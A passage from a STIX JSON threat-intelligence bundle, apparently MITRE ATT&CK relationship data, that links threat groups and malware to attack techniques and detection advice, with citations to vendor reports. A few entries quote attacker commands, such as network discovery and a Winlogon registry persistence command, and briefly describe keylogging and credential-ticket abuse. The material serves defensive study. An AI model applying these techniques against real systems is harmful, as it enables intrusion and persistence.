2023.","url":"https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-14T15:58:05.280Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has compromised email accounts to further enable phishing campaigns and taken control of dormant accounts.(Citation: ANSSI Nobelium Phishing December 2021)(Citation: Mandiant APT29 Microsoft 365 2022)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e797fcd8-4ad6-43d3-a36a-3c05d0ce8832","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2019-05-10T12:14:32.200Z","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) has sent spearphishing emails with attachments to victims as its primary initial access vector.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7995f43-d3f1-4ad2-b3bd-fc835faa3333","created":"2024-09-18T17:52:43.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T20:05:42.913Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has used WMI in malicious email infection chains to facilitate the installation of remotely-hosted files.(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e79c65f4-f9d2-4568-96a4-b6e00d3bad71","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Daserf Nov 2017","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"}],"modified":"2020-03-16T16:40:40.408Z","description":"Analysis of [Daserf](https://attack.mitre.org/software/S0187) has shown that it regularly undergoes technical improvements to evade anti-virus detection.(Citation: Trend Micro Daserf Nov 2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e79c9756-9b81-4711-8e35-6ea330f152a1","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for changes made on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI","source_ref":"x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e79f7f56-3a5e-4957-8070-360f630f3c2e","created":"2022-09-29T19:23:38.194Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T19:23:38.194Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used the commands `net view /all /domain` and `ping` to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7a0b7a4-b49b-46b9-9bfa-5db0a87dd09e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Seaduke 2015","description":"Symantec Security Response. (2015, July 13). “Forkmeiamfamous”: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.","url":"http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"}],"modified":"2021-04-26T17:40:17.326Z","description":"[SeaDuke](https://attack.mitre.org/software/S0053) uses a module to execute Mimikatz with PowerShell to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).(Citation: Symantec Seaduke 2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7a538f7-9bd3-4eb9-a366-46923f28f417","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor executed commands and arguments that may attempt to exfiltrate data over a USB connected physical device.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7a7e9ac-e03a-4fd1-b8e1-bc9524abf051","created":"2024-03-25T19:59:36.843Z","revoked":false,"external_references":[{"source_name":"SentinelOne SocGholish Infrastructure November 2022","description":"Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.","url":"https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T19:59:36.843Z","description":"[Mustard Tempest](https://attack.mitre.org/groups/G1020) has acquired servers to host second-stage payloads that remain active for a period of either days, weeks, or months.(Citation: SentinelOne SocGholish Infrastructure November 2022)","relationship_type":"uses","source_ref":"intrusion-set--0d4ac089-ced4-4cc4-a989-174d08e6d030","target_ref":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7abc5ca-ca57-459a-b422-331f3f4d4506","type":"relationship","created":"2020-01-13T15:48:56.688Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-13T15:48:56.688Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7ac3ee3-a014-4b07-9bad-b93d3d1d0f4b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"modified":"2020-06-29T01:54:53.449Z","description":"The [Regin](https://attack.mitre.org/software/S0019) malware platform can use ICMP to communicate between infected computers.(Citation: Kaspersky Regin)","relationship_type":"uses","source_ref":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7b10c00-0860-4592-a72c-e14e993e972b","type":"relationship","created":"2020-07-27T16:04:39.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-28T17:25:25.651Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can install a service to execute itself as a service.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7b1f1f9-feba-45be-b48e-b8acae13a841","created":"2024-04-05T18:11:16.714Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-05T18:11:16.714Z","description":"[Samurai](https://attack.mitre.org/software/S1099) can encrypt API name strings with an XOR-based algorithm.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7b5511a-3528-48d1-9224-6c5ff88b3825","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Winnti Jan 2017","description":"Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.","url":"https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/"}],"modified":"2020-03-18T16:13:37.712Z","description":"A [Winnti for Windows](https://attack.mitre.org/software/S0141) implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.(Citation: Microsoft Winnti Jan 2017)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7baabf7-9300-432d-aa78-000ac099d4d3","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft SIR Vol 21","description":"Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.","url":"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf"}],"modified":"2020-02-11T19:39:04.065Z","description":"[Wingbird](https://attack.mitre.org/software/S0176) performs multiple process injections to hijack system processes and execute malicious code.(Citation: Microsoft SIR Vol 21)","relationship_type":"uses","source_ref":"malware--a8d3d497-2da9-4797-8e0b-ed176be08654","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7bcc9e7-d373-4b1e-a664-886c4fc04bc5","created":"2019-09-23T22:53:30.167Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"apt41_dcsocytec_dec2022","description":"DCSO CyTec Blog. (2022, December 24). APT41 — The spy who failed to encrypt me. Retrieved June 13, 2024.","url":"https://medium.com/@DCSO_CyTec/apt41-the-spy-who-failed-to-encrypt-me-24fc0f49cad1"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T15:46:46.484Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used RDP for lateral movement.(Citation: FireEye APT41 Aug 2019)(Citation: Crowdstrike GTR2020 Mar 2020) [APT41](https://attack.mitre.org/groups/G0096) used NATBypass to expose local RDP ports on compromised systems to the Internet.(Citation: apt41_dcsocytec_dec2022) ","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7c29485-c988-4313-8081-60241abe1178","created":"2022-09-21T21:13:17.545Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:35:28.824Z","description":"[SUGARDUMP](https://attack.mitre.org/software/S1042) has encrypted collected data using AES CBC mode and encoded it using Base64.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7c81430-1c3a-4ee8-9f10-4a3fcad2da54","created":"2024-06-18T20:14:36.648Z","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T20:14:36.648Z","description":"Upon execution [Spica](https://attack.mitre.org/software/S1140) can decode an embedded .pdf and write it to the desktop as a decoy document.(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"malware--824a230d-0f6a-4fd0-99df-8d464db2265e","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7c8615b-2dd4-42a9-9535-2deed30ea8d7","type":"relationship","created":"2019-11-27T14:31:56.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2019-11-27T14:31:56.861Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7caa3b3-78d3-4840-bee3-70d7637f5508","created":"2024-03-13T21:19:05.166Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T21:19:05.166Z","description":"[PITSTOP](https://attack.mitre.org/software/S1123) can deobfuscate base64 encoded and AES encrypted commands.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--d79b1800-3b5d-4a4f-8863-8251eca793e2","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e7cd2966-db55-4214-abcc-78b5bc1e00cd","created":"2022-06-09T18:43:50.941Z","x_mitre_version":"0.1","external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[OutSteel](https://attack.mitre.org/software/S1017) can identify running processes on a compromised host.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","modified":"2022-06-09T18:43:50.941Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7cf27d5-f5ab-497b-8379-31730292ed81","type":"relationship","created":"2020-08-24T13:40:23.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T13:40:23.386Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can establish persistence by registering a malicious DLL as an alternative Print Processor which is loaded when the print spooler service starts.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e7cf6c6b-d777-4c61-b760-e8c6a5c48488","created":"2019-06-14T16:45:33.956Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CitizenLab KeyBoy Nov 2016","description":"Hulcoop, A., et al. (2016, November 17). It’s Parliamentary KeyBoy and the targeting of the Tibetan Community. Retrieved June 13, 2019.","url":"https://citizenlab.ca/2016/11/parliament-keyboy/"},{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:22:36.399Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) issues the command reg add “HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon” to achieve persistence.(Citation: PWC KeyBoys Feb 2017) (Citation: CitizenLab KeyBoy Nov 2016)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7d0b6de-24bb-464d-a317-351e20d75b69","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Hashing of binaries and service executables could be used to detect replacement against historical data.","source_ref":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","target_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7dbc99e-38be-4534-b49b-14e1e3281140","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for unexpected files with manipulated data in order to manipulate external outcomes or hide activity","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7df8e8c-dfc4-48f2-bbd3-46b2572d60ca","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2019-04-24T23:43:08.232Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) modules are written in and executed via [PowerShell](https://attack.mitre.org/techniques/T1086).(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7e2eed9-ef15-4b6b-890b-72d2b47ca685","type":"relationship","created":"2020-11-08T23:47:39.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-08T23:47:39.934Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can perform keylogging by polling the GetAsyncKeyState() function.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e7e4be4c-a6ae-44bc-b3af-9c0c41f9212e","type":"relationship","created":"2020-02-12T14:37:27.489Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-28T16:07:44.861Z","description":"Consider removing the local Administrators group from the list of groups allowed to log in through 